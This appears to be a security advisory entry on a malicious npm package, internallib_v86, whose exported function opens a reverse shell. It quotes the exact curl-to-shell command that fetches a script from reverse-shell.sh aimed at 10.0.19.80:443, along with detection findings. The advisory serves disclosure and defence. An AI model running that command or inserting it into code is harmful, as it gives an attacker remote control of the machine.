GCVE-110-OSM-2026-13263

internallib_v86 ships a tiny index.js that exports a function `command` which invokes `/bin/bash -c "curl https://reverse-shell.sh/... | sh"` targeting 10.0.19.80:443. Any consumer that requires the package and calls the exported function causes the installer's host to fetch a reverse-shell script from reverse-shell.sh and pipe it to a shell, giving an interactive remote shell on the installer to whoever controls 10.0.19.80. The package name is generic and no legitimate functionality is implemented alongside this behavior. ENTRY index.js (main: index.js) EXFIL - Curl/Wget Pipe to Shell in index.js: "curl https://reverse-shell.sh/10.0.19.80:443|sh" ADDITIONAL FINDINGS - Shell Command Execution in index.js: "require('child_process')" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES index.js